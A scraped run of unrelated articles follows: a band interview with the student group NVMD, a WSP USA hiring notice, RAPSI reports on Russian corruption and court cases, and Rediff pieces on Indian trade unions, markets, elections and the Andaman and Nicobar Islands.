S: Basically, what Ryan does is he pitches lyrics and rhythm guitar, and I just build off that, and if everyone likes it, they're like 'yeah' and give constructive criticism on it and then we work our way through that by adding in bass, starting with building off what Ryan did and then, like, Nick goes onto his own thing because he is a sick bass player and Ed does his own thing.



N: The inspiration, you know, comes from the lyrics and the chords that Ryan puts down. We take in our own influences, and we try and bring our own edge. It's not one person's band, we write together, we all write the songs



R: We've been asked who the leader is, and that's not how it works, if you're in a band, you are all the band. Yeah, I write the lyrics for it and I write the rhythm, but sometimes Sam will come up with something and we will jam that, or Nick will, and we will jam that. Ed will, as he plays guitar too, believe it or not. Ed made this reggae thing not too long ago with someone he was working with, and I'd like to do something with that



E: Yeah sure!



PR: I know you guys have done one gig, before, what did you think of that?, do tell all!



NVMD: Very warm!



S: Fun, ridiculously hot



N: It was, toasty. I've gotta admit, I think, I was really nervous at the start, but then I kinda just got over it and then I watched some videos, and I was like 'why the f*ck did I do that?'



E: I felt so insecure



S: At least you were hidden by a drum kit!



N: I really didn't know what to think, I was so nervous, I just didn't know what to think



R: It was funny, Ed wasn't expecting to drum that night either, so it was worse for him!



E: I was walking on stage, and I was like, so nervous! All I could think of was 'For f*cks sake! Oh, sh*t!'



PR: Speaking of performing then, what do you think of performing? Nick, I know you said get nervous at the start, but what happens when you're fully immersed into the performance.



N: Man I love it! It's great



E: It sounds really cliche, but you do get lost in the music



N: I was completely sober, but I can't remember like details from that night



R: I feel like when you do perform live though, its weird, because you do feel like you've got a rush and it does feel like, you feel super confident when you're on stage, and then you get off and you feel even more confident and when it wears off, you just wanna play again. Every time we play, I can't wait to play again



PR: So, you all met in college, but we are getting to that stage when we leave for jobs, universities, what's going to happen to NVMD?



R: Nick's going to be Scottish and think about things for a living



S: Well, I'm at College for another year, because I failed my subjects last year!



R: Ed's going to do some art stuff, because he's weird and likes to paint



N: Although we are going to leave college at some point, there are, like, there are a few months before then and I think those months are going to be really important to us, I mean like we could, I mean, we all wanna go somewhere



E: As a band, I feel stuff like that won't be an issue



S: I wanna take NVMD somewhere



N: Although we've told people we are going off to university and get jobs, we also want to be rock stars!



R: I'm going to university in Liverpool, so I get to do both, it's fine!



S: I just wanna be a musician



R: I enjoy the song writing, like I enjoy performing but with me, I like sitting down and writing a song because I don't know when I'm going to come across a song. Sometimes I don't end up playing anything, and other times I end up playing covers, and other times, I'm like 'I wrote this! Guys, do you wanna hear it?' and we play it mainly. We play all my crap stuff



S: I like all of our songs, you know!



PR: The guys mentioned your killer bassline in one of the songs, it is a really good bassline! What influenced in writing that one, Nick?



N: Is this Liquor Stained? Yeah, oh, I don't know, it was a mix of things, just like, when you listen to bands with the bass being the forefront, 3 bands come to mind - Green day, and that was listening to one of their albums sort of brought out the idea that the bass can be more than just something for the other musicians in the band to listen too, it could be like a real driving force.



N: Bass players like Dave Hollingworth from a prog-metal band that I listen too, he uses lots of different techniques and that, sort of, is my inspiration. I use slap, strumming, picking and all sorts! Also the idea of using distortion in bass, as well, to create presence and that's what I wanted to do. When it kicked into the choruses, I wanted to give it something that's like, powerful, because it's quite mellow but I can feel it and it was going into more of a driven section but I kind of wanted that feeling of it could be more and thats why I sort of, wanted to do this big slide and it's just like 'guys!'



R: You didn't also mention the other 2 bands that come 2 mind. You went '3 bands come to mind - Green day...'



N: Oh yeah, Green day, Karnivool, and Primus, their overall tone and the bass players approach to playing.



PR: So, guys, as a band, favourite song?



NVMD: Teddy Picker



E: Perhaps Vampires is a Bit Strong by Arctic Monkeys



N: I enjoy that one. Favourite song, oo, I dunno! Crying Lighting by Arctic Monkeys, that's a sick song that!



S: Statutory brain rape by Emily's Army, its a really good song!



E: Keep in mind that song was written by like 16-year olds!



S: They were about our age when they wrote that song, thats why they are some of my biggest inspirations as well



R: At the moment, it's probably The Joker by Steve Miller Band but I don't know. At the moment I'm into Sky's the Neighbourhood but it changes a lot, my favourite song, depends what I'm into at the time. This is why all our songs are different because every time we write something, it's like, it's whatever we are listening to at the time goes into it, as opposed to one sort of thing



E: That's the thing, that's why there's loads of diversity, because you lot listen to Arctic Monkeys and at the same time I listen to the Foo Fighters as well, so my drumming's quite, I try to make it quite complex, whereas its quite different for you guys! I mean it's all sort of influenced by the music you are listening too isn't it. Taylor Hawkins is a stupidly fast drummer and I try to be like Taylor Hawkins, but it doesn't work



R: Like, you can tell in our music taste the time we were writing Revolutionary, it is very Green day heavy. And then, by the time you listen to the new one we have written, you guys said its like System of a Down.



N: We were all quite into our punk at that point, writing Revolutionary.



E: Every song is different



PR: Do you feel you've grown as band then, because as you say when you wrote Revolutionary, which is a brilliant song, you seemed to have really gelled together as a band and you've really grown from where you started out back in November?



NVMD: Definitely yeah!



R: I feel like what's happened is, I wrote Starve and didn't like it, but everyone else did and now I'm writing stuff that I actually like



E: I feel like we have a heavy influence on each other



N: We are now more comfortable with each other, so we aren't afraid to say 'That's sh*t' or 'Who the f*cks out of time now?'



S: Or 'Ryan, tune up!'



R: See, what I really like is trying out new things, like in the new song, I use a delay pedal which I hardly use, and I wrote a little bit for it and it sounded cool! Ed tries a double kick drum now and Sam just puts his pedal board and screeches and he loves it



S: I had a singular distortion pedal and now I have a multi-fx board and its the most beautiful thing



Big thanks to NVMD for taking their time to chat to us!



Catch NVMD on all their social media to keep up to date on all their gigs and adventures!



NVMDBand - Snapchat

Nvmdofficialuk - Instagram

@NVMD.BandUK - Facebook

@RealNevermindUK  Twitter
Strive For Unity So We Can Thrive

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WSP USA has appointed David Bass vice president and director of transportation client services for its Carolinas business.

In his new position, Bass will play a fundamental role in developing the companys transportation client base throughout North Carolina, expanding WSPs portfolio with the North Carolina Department of Transportation and municipal departments of transportation, and ensuring effective delivery of projects in the region. He will be based in the firms Raleigh office.

Bass has nearly 30 years of experience in planning, engineering, project management and business development across aviation, rail, and toll facilities. Prior to joining WSP, he was the North Carolina design services manager at HNTB in Raleigh.

The addition of David is a big step toward fulfilling our goal to provide excellence in planning/engineering and client care in North Carolina, said Brock LaForty, the firms area manager for the Carolinas. Davids industry ingenuity, combined with his passion for client service, will put WSP in a strong position to grow our existing best-in-class services.

A licensed professional engineer in North Carolina, Bass earned a bachelors degree in civil engineering from North Carolina State University. His professional affiliations include the National Society of Professional Engineers, the Professional Engineers of North Carolinas Central Carolina chapter, and the American Society of Highway Engineers.
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Gambling and alcohol abuse may deprive seniors of alimony from children  Supreme Court

MOSCOW, December 19 (RAPSI)  Addiction to gambling or alcohol may deprive senior parents of alimony from children, the clarification issued by the Russian Supreme Courts board reads.

According to the court, misbehavior of family members may serve as a reason to deprive them of alimony. Aside from gambling and alcohol, other actions of this sort include drug abuse or any other behavior that goes against interests of a family, the court stated.

Family members, who commit a deliberate crime against a defendant, may also be deprived of alimony, the court added. Crimes against life, health, liberty, dignity, sexual inviolability and other rights of a defendant may serve as such reasons and must be confirmed by ruling of a court or a provision of authorities conducting preliminary investigation. The Supreme Court noted that factors such as time, type, gravity of a deliberate crime, among others, must be acknowledged during review of these cases.
MOSCOW, December 19 (RAPSI)  Ex-economy minister of Russia Alexey Ulyukayev, who had been given 8 years in high security prison for bribery, appealed the sentence, the spokesperson of Moscows Zamoskvoretsky District Court Emilia Khil told RAPSI on Tuesday.

The hearing date has not been set yet.

On December 15, Ulyukayev was sentenced to prison term and a 130-million-ruble fine (about $ 2.2 million). The court held that Ulyukayevs involvement in the bribery was proven by witnesses testimony and other examined evidence. His words about innocence were regarded as attempt to evade criminal liability.

Ulyukayev was arrested on November 14, 2016, when leaving the office of Rosneft oil company. The Federal Security Services (FSB) officers found a bag holding $2 million in cash in his official car.

Ulyukayev was charged with extortion a grand bribe. According to the Investigative Committee, he threatened to create obtrusions for Rosneft with the use of his position. On November 15, 2016, he was put under house arrest. Later in the evening, President Vladimir Putin relieved Ulyukayev of his post because of loss of trust.

Ex-minister stated that the case was fabricated. The defendant noted that there was a provocation, orchestrated by the Federal Security Service (FSB) and that there was no sound evidence in the case, aside from testimony provided by Sechin.

Trial of Ulyukayev began in mid-August. The court questioned 15 witnesses including the Economy Ministry officials, Ulyukayevs driver, Rosneft employees, journalists and FSB officers.

Sechin was summoned for interrogation four times but he failed to appear in court. A judge refused to read out his testimony given during pre-trial investigation.
Russian Supreme Court reduces sentence of top anti-corruption official by 10 years

MOSCOW, December 19 (RAPSI)  The Supreme Court of Russia has mitigated the sentence of ex-head of the Interior Ministry's Economic Security and Anti-Corruption Department, Denis Sugrobov, reducing it from 22 to 12 years in a high security penal colony, RAPSI correspondent reports from the courtroom on Tuesday.

In April, the Moscow City Court found Sugrobov guilty of organizing a criminal group, abuse of office and provocation of bribery.

Other Interior Ministrys officers involved in the case, Salavat Mullayarov, Ivan Kosourov, Vitaly Cherednichenko, Yevgeny Shermanov, Sergey Borisovsky, Sergey Ponomarev and Andrey Nazarov, received prison terms ranging from 17 to 20 years. One more defendant, businessman Igor Skakunov, was sentenced to 4 years in high-security prison. Gennady Sobolev, ex-officer of the Interior Ministry's Economic Security and Anti-Corruption Department, received a 3-year prison sentence for abuse of authority.

Sugrobovs deputy Boris Kolesnikov, who committed suicide in 2014, was also found guilty. The case against Kolesnikov was closed because of his death.

All convicted officers were stripped of their ranks by court order.

According to investigators, Sugrobov and Kolesnikov tried to provoke a Federal Security Service (FSB) officer by offering him $10,000 a month for his protection. Sugrobov has been charged with organizing a criminal group, abuse of power and bribery.

Kolesnikov was arrested in February 2014. In June, he jumped out of a window during questioning at the Investigative Committee. Later, the Basmanny District Court said no evidence was found of assisted suicide.

In total, 10 people became defendants in this case with case materials making about 400 volumes. Thirty persons were recognized as aggrieved parties, thirteen of whom filed suits seeking to recover in total 218 million rubles (about $3.5 million) from the defendants. Later, victims withdrew their claims.

Sugrobov, 41, is one of the youngest police generals. He obtained the rank of Lieutenant General at the age of 36.
Sentence toughened for former Russian Deputy Culture Minister

MOSCOW, December 19 (RAPSI, Nikita Shiryayev)  The Moscow City Court on Tuesday toughened punishment for ex-Deputy Culture Minister Grigory Pirumov, who had been found guilty of embezzling public funds allocated for restoration of cultural heritage objects, RAPSI reported from the courtroom.

The court imposed a 1-million-ruble fine ($17,000) on Pirumov and deprived him of the second-class medal of the Order of Merit for the Motherland.

Prosecutors in their appeal demanded to give the defendant 5 years in prison. Defense lawyer Fedor Kupriyanov and victims in the case asked the court to uphold the initial sentence.

In October, the Dorogomilovsky District Court of Moscow sentenced Pirumov to 1.5 years in a penal colony. The court took into consideration the time Pirumov spent in detention and freed him in the courtroom.

The defendant pleaded guilty in full and his case was reviewed under special procedure. Prosecutor in the case noted that Pirumov met all conditions of his deal with investigators.

Other defendants in the case are head of the Center of restoration Oleg Ivanov, and director of the Ministrys department of property management and investment policy Boris Mazo, project manager of companies Stroykomplekt and Baltstroy Vladimir Svanbek, BaltStroy manager Alexander Kochenov, businessman Andrey Kokushkin and ex-director of the State Center of Contemporary Art Mikhail Mindlin.

In late August, BaltStroy head Dmitry Sergeyev received a 4.5-year suspended sentence. According to the prosecutor, the fraud involving Sergeyev resulted in the embezzlement of 71 million rubles ($1.2 million) and the defendant himself unlawfully obtained 11 million rubles ($188,000).

In June, it was revealed that former Deputy Minister of Culture Grigory Pirumov and other defendants in the case paid about 163 million rubles in damages (about $2.7 million).

Investigators believe that between 2012 and 2016 the defendants embezzled over 160 million rubles allocated on restoration of the Novodevichy Convent in Moscow, Ivanovsky Convent in Moscow and other objects across Russia.

In December 2016, Dmitry Medvedev, the Chairman of the Russian Government, relieved Pirumov of his post.
Former mayor of Nizhny Novgorod charged with receiving $1 million bribe

MOSCOW, December 19 (RAPSI)  Former mayor of Nizhny Novgorod and vice-speaker of the regional parliament, Oleg Sorokin, has been charged with receiving a $1-million bribe, RAPSI has learnt from the Unified press-service of regional courts.

Investigators seek detention of Sorokin and claim that he, acting as a mayor, received the bribe for his patronage.

According to the statement, the regional Ministry of state property and land resources organized a tender for rent rights to 14 land plots in Nizhny Novgorod, which were allocated for housing construction. One of the companies, with 60% of its shares owned by Sorokins wife, won the tender prompting another one to appeal the results in regional and federal antimonopoly agencies.

Sorokin, having personal interest in the deal, proposed his acquaintance to pay $1 million to a head of the latter company for recalling the appeal, lawsuit and claims on the land plots, the press-service notes. It added that Sorokin received money from another acquaintance, not aware of criminal intent.
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According to industry experts, the German investment market for commercial real estate is heading for its best year since at least 2007. In the next twelve months, however, the transaction volume could fall slightly. On the one hand, the market is sold out, and on the other hand, the price level that has now been reached makes it less likely that further value gains will be achieved by yield hunters.

Full Article
'On December 5, the government called unions for pre-Budget consultations.'

'12 trade unions were called and the time allotted was one hour which means 5 minutes for each union.'

'We were asked to present our views in about four minutes.'

'That itself is a reflection of how serious the government is about workers' demands.'

Last month, trade unions held massive protests in the national capital against the government's labour law reform proposals.

Though the Rashtriya Swayamsevak Sangh-affiliated Bharatiya Mazdoor Sangh opted to have its own show, Centre of Indian Trade Unions President K Hemalata tells Somesh Jha all trade unions are united in their thought process.

The trade unions had called nation-wide strikes in the past two consecutive years since the NDA government took charge, but not this year. Why?

This year there was a big mobilisation drive -- mahapadao -- in Delhi from November 9 to 11 where all trade unions decided to prepare for a higher form of struggle before calling a strike in case the government doesn't fulfil our charter of demands.

It has received a good response. Though the media didn't quite cover that, lakhs of workers had participated.

Trade union workers had come from all over the country and there was representation from all the states.

We have decided to prepare for an indefinite country-wide strike and before that, in the first week of January, district-level conventions will be held and in the last week of January, we will court arrest.

Why do you need to prepare, given that the unions have already called nation-wide strikes twice in the past two years?

In September 2015, 150 million workers participated in the strike.

Then in September 2016, we had another strike where the participation was even larger.

As you know, the BMS didn't participate in both strikes, but still the mobilisation was huge.

Despite that, the government hasn't called a meeting of the unions.

Before the 2016 strike, the government invited the BMS which was not party to the strike, but didn't call other unions.

In order to compel the government to talk to the unions, the anger of the workers has to find proper reflection in the struggle, which requires larger mobilisation at the grassroot level. That's why we have taken up these programmes.

The panel of ministers on labour, led by Finance Minister Arun Jaitley, met the BMS this year as well. What do other trade unions feel about it?

This shows the discriminatory attitude of the government.

This year, over 200,000 workers participated in Delhi and 10 trade unions were sitting outside Parliament for three days. But only the BMS was called for a meeting.

We don't know what assurances they have been given, but the demands have been the same.

Even after this meeting, we haven't got any assurance from the government on these demands and that's what matters.

Trade unions seem to be a divided lot. The BMS organised a separate protest this year as well.

The BMS probably went back on the strike call in 2015, influenced by the government. This is because we don't feel that the government has been positive towards the demands of the trade unions.

Now, the BMS also participates in trade union meetings. For instance, they came to discuss the plan to organise a mahapadao. Even the BMS didn't have anything different to say, except criticising the government.

We think there is a commonality on these issues of privatisation, minimum wages, labour law amendments and social security in the trade union movement.

Even though they organised different programmes, the demands are the same.

We feel that at least a unity in the thought process has been achieved. It is not what the government does; it is about whether we are able to fight unitedly or not.

We want the unity of the trade union movement.

What will be your next step?

We have decided when the Union Budget comes and if there are anti-worker proposals in it, we will hold joint protests and immediately after the Budget is presented, all trade unions will sit together and decide the future course of action.

How far do you think the government has succeeded in meeting the trade unions' 12-point charter of demands?

No demand has been met. Even on December 5, the government called unions for pre-Budget consultations. This has become a ritual which was also followed by the previous government.

In the meeting, we pointed out it should not be a ritual. Twelve trade unions were called for consultations and the time allotted was one hour which means five minutes for each union.

We were asked to present our views in about four minutes. So, that itself is a reflection of how serious the government is about our demands.

What were the issues you flagged at this meeting?

We flagged our charter of demands.

In addition, we told the government to increase the social sector spending, especially on health and education.

We also said the mobilisation of resources has to be done internally by taxing the rich and the corporates -- those who can pay.

Recently, the government hinted that direct taxes will reduce; that means the indirect taxes will be more which people have to pay.

We also highlighted the job losses due to demonetisation.

About 2 million workers have lost their jobs and employment-intensive sectors like textiles, garments, gems and jewellery, etc were impacted.

We demanded that government expenditure should be increased, particularly in the infrastructure sector.

But the government has said in the past that it is working on addressing nine of the 12 demands...

One of our demands is the effective implementation of labour laws.

After this government came into power, they hastened the process of labour law amendments.

The anti-labour amendments in the labour law should be stopped. They are still going ahead with that.

The government is merging 44 major laws into four codes and three codes have already been discussed. But the views of the trade unions are not incorporated in any of these labour law amendments.

For instance, the Indian Labour Conference had recommended a universal minimum wage for all workers, but in the code on wages Bill, the provision is missing; instead, the government is going for region-wise minimum wage.

The government should fix Rs 18,000 as minimum wage for private sector workers, following the recommendations of the Seventh Pay Commission, which is being implemented in the government sector. There should be no disparity.

Similarly, in the Industrial Relations Code Bill, the government has proposed giving hire-and-fire flexibility to factories with a larger workforce.

Due to automation, the size of factories has already reduced so much and hence, the cap should go (away) completely.

In the social security code, 15 social security Acts will be clubbed together. The government is claiming it will provide universal social security to everybody, but there is no sense as to how they will provide social security.

The government has proposed that all the social security funds be clubbed and a national advisory council, under the prime minister, will be formed and the management of these funds will be handed over the states.

We find that the money collected by the government through cess at present is not utilised to provide benefits to construction workers.

The unorganised workers will have to pay even the employer's share towards social security in some cases.

IMAGE: Striking bank workers. Photograph: Sahil Salvi
'This year's Budget didn't give into populist measures everyone was expecting after demonetisation, so I think that was a positive step.'

'Hopefully the Budget will continue in the way it has been.'



Illustration: Dominic Xavier/Rediff.com

India's economy will soon make a jaunty recovery, says Dr Soumya Kanti Ghosh, group chief economic advisor, State Bank of India.

"You will see a lot of development happening in real estate over the next one year or so," Dr Ghosh tells Rediff.com's Vaihayasi Pande Daniel in the third part of the multi-part interview, "because the real estate sector and the construction sector, at the end of the day, are the most employment intensive sectors."

A dynamic real estate market is a sign of a dynamic economy. At the moment that market is very slow in Mumbai for sure and all over the country. How does one explain the stock market doing well, but not real estate?

The market is doing well, because after demonetisation a lot of money has come from the informal sector to the formal sector.

For example, money has moved to the mutual funds. More than Rs 1 lakh crore has moved to mutual funds.

Possibly mutual funds have put that money into the stock market, buying shares.

Therefore, this market rally is currently due to the money which was unleashed into the banking system, post demonetisation.

You need to appreciate that the real estate sector has been going through turbulent times for the last couple of years.

There had been a lot of these builders (who have not delivered). For example, I bought a flat in 2010 that has not been delivered to me. It (the real estate market) has been going through a consistent downturn for the last six to seven years.

Hopefully with the new insolvency and bankruptcy code (the National Company Law Tribunal, NCLT, proceedings) coming into the question there will be some resolution of some of the builders that I could hear of in the press. And that will add a positive momentum.

Also remember that RERA has come also into effect from July 2017 so all new launches now have to be RERA certified in that particular state. So this will actually lead to the slowing of the launches.

But I believe that this will be again a temporary phenomenon. The government has been very mindful. It has been pushing the affordable housing segment in the last couple of months.

If you take my word for it, you will see a lot of development happening in that segment over the next one year or so, because the real estate sector and the construction sector, at the end of the day, are the most employment intensive sectors.

Someone said real estate prices will go up closer to the elections. When do you think prices will go up?

I don't expect any upset (change) with real estate prices for the next year or so.

What will start bringing them up?

As the system gets cleaned up, as the flats, which were being not delivered in the NCR region, as the flats get delivered, as the system gets cleared, the system was clogged, as the choke gets cleared I think there will be a pick up in the housing loan segment.

Maybe that will take a year or so. But there is going to definitely be a pick up in the housing and loan market particularly the affordable housing segment.

It is still a buyers' market?

It is still a buyers' market. Now is the time for everybody to go and buy in the market...

And also the fact that now the economy is getting formalised so the unaccounted money component for the real estate sector has been completely cleaned up.

That is also one of the reasons why you are seeing that the buying interest is on the lower side.

At the end of the day that's a good thing for all of us.

So it is not about waiting for the elections. It is just about the system stabilising?

Yes, about system stabilising. I would not say system stabilising at a lower level.

The system stabilising at a level with which it could sustain itself meaningfully for the next couple of years, or even the next decade.

IMAGE: Dr Soumya K Ghosh, group chief economic advisor, State Bank of India. Photograph: Kind courtesy @kantisoumya/Twitter

So what you are saying -- I am looking at the bigger picture -- between the RBI and this present government, matters are in reasonably safe hands? Between the two?

Yes, of course.

Between the two?

Yes.

And you are confident?

Yes

And the finance minister? One reads conflicting things in the newspapers so one doesn't know.

If I look purely at the data part, I find that most of the data is actually much more reasonable than what is given, even though, of course, there are some things (that could do better) like the asset quality of the banks (the NPA issue), but I still have a feeling that there are a lot of positives happening in the Indian economy as of now.

What about the manner in which GST has been implemented? In hindsight one can say things can be done this way or that way.

Without the benefit of hindsight what can you say?

As I said to you, GST implementation (is) such a (large) structural transformation -- you are replacing so many taxes, across 29 states and 7 Union territories. Obviously there are going to be some problems.

Now the issue is how quickly we can solve the problems through the GST Council (Goods and Services Tax Council ) and get the system stabilised, within a reasonably short period of time. That should be the objective of the government.

Through social media everybody has a view. Everybody is an armchair economist. So many views are floating around. One is not sure what to believe. These can also affect the perception of India economically.

There are always stories that India will never succeed. At the end of the day one should not be swayed by opinions and one should be able to judge whatever story on its merit rather than being like an armchair economist...

So what you are saying is that there is a little bit of hysteria...

Of course, I don't blame anyone. That's the job of everybody. But at the end of the day you have to be insulated from all this hysteria and take an informed decision on what is going on.

Sometimes some of this might be true and some of this might not be true...

How do you think Election 2019 will affect Budget 2018?

I don't want to comment on Election 2019 and Budget 2018.

But I think the Budget has gone off quite well in the last couple of years.

This year's Budget didn't give into populist measures everyone was expecting after demonetisation, so I think that was a positive step.

Hopefully the Budget will continue in the way it has been.
CEOs expect populist measures in the Budget, to help the poor and marginalised, who make up for the largest section of voters.

India Inc expects Prime Minister Narendra Modi to take more steps to revive the creaking infrastructure and accelerate economic reforms, especially now that the Bharatiya Janata Party (BJP) has won two more crucial state elections.

Chief executive officers (CEOs) also expect populist measures in the Budget, to help the poor and marginalised, who make up for the largest section of voters.

Harsh Goenka, chairman, RPG Enterprises, said: The election results are likely to further strengthen investor confidence in the reforms put in place by the government, and I expect continued efforts towards implementing the structural reforms already initiated to spur infrastructural and economic activity.

Corporate leaders were nervous when initial trends on Monday showed that the Congress might win the elections in Gujarat.

But after BJPs victory, albeit with a lower number of seats, the CEOs said the reforms juggernaut would continue.

Given Indias federal system, stock markets want national leaders to be secure enough to undertake major reforms, despite the risk of alienating key constituencies in the short term, Anand Mahindra, chairman of Mahindra & Mahindra, said on Twitter on the stock markets volatility on Monday.

CEOs also expect the Budget, which will be presented by the government on February 1, to focus on giving more tax incentives to individuals and include steps to speed up marquee infrastructure projects.

The lower number of seats in Gujarat should be a wake-up call for the government, said the CEO of a large company, requesting anonymity.

With general elections coming, we can expect some tax incentives and populist measures in the forthcoming Budget.

During the past three years, India Inc had gone slow on investment, barring Reliance Industries, which invested heavily in its telecom business.

In October, factory output growth was lower than expected. The Index of Industrial Production in October 2017 was 2.2 per cent higher than it was a year ago - lower than the expected 3 per cent.

In this backdrop, analysts said the Gujarat elections might force the Modi government to shift to pro-employment policies, with a focus on infrastructure.

With general elections due by mid-2019, the biggest risk for the government would be over-promising and under-delivering, especially on the job growth front, said one chief executive.

Muted household disposable income trend showed weaker employment trends in India. A pickup in employment was required to sustain consumption growth, said UBS.

Our discussions with Indian government officials indicate that job creation remains a key focus area, especially going into the 2019 general elections, it added.

Photograph: Adnan Abidi/Reuters
The next key battle the market will watch out for will be in Congress-ruled Karnataka

The wild 1,200-point swing in the benchmark Sensex on Monday suggests elections will be one of the most important drivers and a source of high volatility for the markets in 2018.

At least eight states will go to polls next year, each of whom will be closely tracked by the markets to get a hint as to what could be in store for the all-important general elections in 2019, say equity market experts.

The 30-share blue-chip index tanked 867 points (2.6 per cent) on opening as early trends showed Rahul Gandhi-led Congress ahead of the ruling Bharatiya Janata Party (BJP) in Gujarat - a state it has governed for 22 years.

While the election calendar for next year starts in February, the next key battle the market will watch out for will be in Congress-ruled Karnataka.

Key BJP-ruled states such as Madhya Pradesh, Rajasthan and Chhattisgarh go to polls less than six months ahead of the national elections.

The election calendar is getting thicker - usually a source of volatility, said Ridham Desai, equity strategist, Morgan Stanley India, highlighting that low political volatility coincides with strong equity market performance.

Any deviation in the outcomes of several state elections in 2018 may raise concerns about Indias political outlook and outcome of the general elections in 2019, said Sanjeev Prasad, co-head, Kotak Institutional Equities.

Experts say the market is more bullish on the BJP as it will ensure continuity in policymaking.

Also, a good showing in state elections will help the ruling party strengthen its numbers in the Rajya Sabha, which will allow it to push ahead with future reforms, which require the consent of both the Lower and Upper Houses.

The eight states that go into elections next year and Gujarat and Himachal Pradesh that just went to polls account for 59 seats in the Rajya Sabha, nearly a fourth of the total seats.

These states also account for nearly a fourth of Indias population.

As the 2019 general elections get closer, state elections are likely to get more market attention, said Neelkanth Mishra, equity strategist, Credit Suisse India.

The direct economic implications of those (state elections) would be limited particularly, after the final full Budget is presented in early February 2018. But changes in market sentiment could drive volatility.

Bank of Amercia Merrill Lynch (BofAML) has elections as one of the top themes for 2018, along with global macro data and earnings growth.

The brokerage says the markets will be keenly watching if the government increases social spending ahead of voting.

The current government is also likely to consider some form of increased social expenditure ahead of the 2019 elections.

"While many factors drive electoral victories, it is interesting to note that high fiscal deficits have generally coincided with the re-election of incumbent governments in India, said Sanjay Mookim, equity strategist, BofAML India.

Kaushik Das, chief economist, Deutsche Bank India, said the economy on all occasions, barring 2008 when the global financial crisis happened, had seen a pick-up ahead of general elections.

Growth momentum generally improves in the year prior to the elections, a trend which is likely to play out in this cycle as well, he said.

Photograph: Danish Siddiqui/Reuters
'The Andaman and Nicobar Islands are an asset that any country aspiring to become a major power would give anything to own.'

'It is disappointing that India has not capitalised on this potential,' says Vice Admiral Premvir Das (retd).

In the last few days, the armed forces have carried out a tri-lateral joint exercise off the Andaman and Nicobar (A&N) Islands.

Such exercises, structured to 'defend' this part of India, are not new, having been carried out over several decades. What has changed, however, is the scope.

Operations like night slithering by commandos and participation of more sophisticated ships and aircraft are being pursued.

However, the concept of 'defending' this territory against some unknown threat continues to dominate the theme.

For example, one phase of the exercise reportedly focused on the recapture of one of the islands which had been seized by an 'enemy'.

This essentially defensive approach, towards what should be seen as one of our strategic strengths, needs reappraisal.

Stretching 550-odd miles from north to south in the Bay of Bengal, lying about 700 miles from our major ports of Kolkata, Visakhapatnam (a major naval base) and Chennai, and comprising a couple of hundred islands and islets, the A&N Islands are an asset that any country aspiring to become a major power would give anything to own.

With Indonesia just 90 miles away southwards and the mainland of Myanmar, Bangladesh, Malaysia and Thailand no more than 300 miles to the north and east, the island group not only extends India's reach eastwards very considerably but also straddles the main east-west shipping lane across the North Indian Ocean.

It stands guard over exits from and entries to the Malacca Strait, the narrow channel connecting the Indian Ocean Region (IOR) with the Western Pacific.

Add to this six deep water ports stretching from north to south and the ability to deploy air power, and the strategic significance of this region becomes self-evident.

It is, therefore, disappointing that India has not been as proactive in taking measures to capitalise on this potential.

The four ports at Diglipur/Port Cornwallis in the north, Port Blair in the centre and Nancowry and Campbell Bay in the south, are all capable of accommodating our navy's largest ships; the old aircraft carrier INS Vikrant was deployed from the northern ports during the 1971 War even as the Pakistani submarine Ghazi searched for it off Madras (now Chennai) and Visakhapatnam and was sunk in the process.

During World War II, the Japanese captured these islands and operated their forces from Port Blair, Car Nicobar and Nancowry. At that time, there was only one really viable runway at Car Nicobar of about 7,000 feet. That at Port Blair was much smaller and rudimentary seaplanes from the Myanmar/Thai west coasts took off and on flew to it.

The situation has now improved, with Port Blair having a 10,000-feet runway, which has added to capability. This airfield and the one at Car Nicobar can now operate the Indian Air Force's larger aircraft and fighters though none are based in the A&N Islands.

Yet even this is sub-optimal. All the larger planes -- C130J, C17 and P8I -- must take three hours to transit from the mainland to the islands and another three to return, which effectively reduces their endurance substantially.

The transit time also delays their arrival on tasks. The aircraft can land there and refuel, but they can get to the operational area quickly only if they are stationed in the islands.

It can be argued that our existing assets do not permit permanent stationing of heavy duty and frontline platforms in the A&N, but sooner or later a choice must be made between tactical and short-term threat assessments and larger considerations.

Notwithstanding the above, there is no reason why pre-positioning of ground support equipment at Port Blair and Car Nicobar should not be a feature, so that these airfields are ready for immediate exploitation.

Also, the runway at Campbell Bay, presently less than 2,700 feet long, needs to be expanded to at least 8,000 feet to enable operations of larger aircraft.

This will permit comprehensive surveillance of approaches and exits of the Malacca Strait through which incoming and outgoing shipping must pass.

The 3,000-feet runway at Diglipur in the north must also be increased to 6,000 feet to enable operations of medium-sized aircraft.

The army has deployed a brigade (two battalions only) with one company stationed in Campbell Bay. This presence seems adequate to deal with foreseeable commitments. However, the naval deployments could do with some augmentation.

At present, mainly ships which can go on to beaches to send troops ashore a la World War II are based in Port Blair.

This presence, along with that of Coast Guard patrol vessels, should be supplemented by stationing a couple of frigates to provide greater combat capability and offensive power; enhancement in shore logistics and repair capabilities will be needed.

Arguments against such enhancements range from lack of 'carrying capacity' to environmental issues. It is true that almost everything has to be transported from the mainland for use of the 350,000 people who live in the A&N Islands.

Anything which tends to increase this load is viewed negatively. This factor is no doubt germane, but can be partly overcome by exploiting existing agricultural and marine resources more usefully with modern technology.

For example, in a region abounding in fish, the annual catch and the number of fishing vessels is abysmally low.

Water is an issue in the more heavily populated Port Blair, but there are several West Asian countries that make good use of plants which convert sea water into fresh water.

There are problems, but they are not insurmountable. An Island Development Authority has long been in existence, with not much to show for its efforts.

If India has to become a major Asian power, it must be able to demonstrate a military presence in the Indian Ocean Region, of which the Bay of Bengal is a crucial part.

The A&N Islands must be seen as a strategic 'force multiplier' that can make this task achievable, and not just as territory to be 'defended'.

They are where India's eastern seaboard lies and from where its power can be projected.

Vice Admiral Premvir Das is a former Commander-in-Chief of the Eastern Naval Command. He has also been member of the National Security Advisory Board.

IMAGE: A glimpse of the amphibious training exercise, Jal Prahar, held in the Andaman and Nicobar Islands between March 27 and April 18, 2017. Photograph: Indian Navy/Twitter
The narrow win in Gujarat can be contributed to Prime Minister Narendra Modi with his no-holds-barred approach and party president Amit Shah who plays to win and knows that there are rules to be followed when suited and broken when needed, observes R Jagannathan.

IMAGE: Prime Minister Narendra Modi and BJP president Amit Shah at a felicitation function in New Delhi on Monday, after the party's win in Gujarat and Himachal Pradesh assembly elections.

Photograph: Shahbaz Khan/PTI Photo

The big whoosh you hear today is probably the collective sigh of relief in the Bharatiya Janata Party camp as the party retains control of Gujarat despite a strong scare from the Congress and assorted disgruntled caste groups. The narrow margin of victory, where the party even looked like losing at some points in the counting process, means that the BJP is vulnerable politically. Party president Amit Shahs target of 150 seats clearly was bluster and pie-in-the-sky.

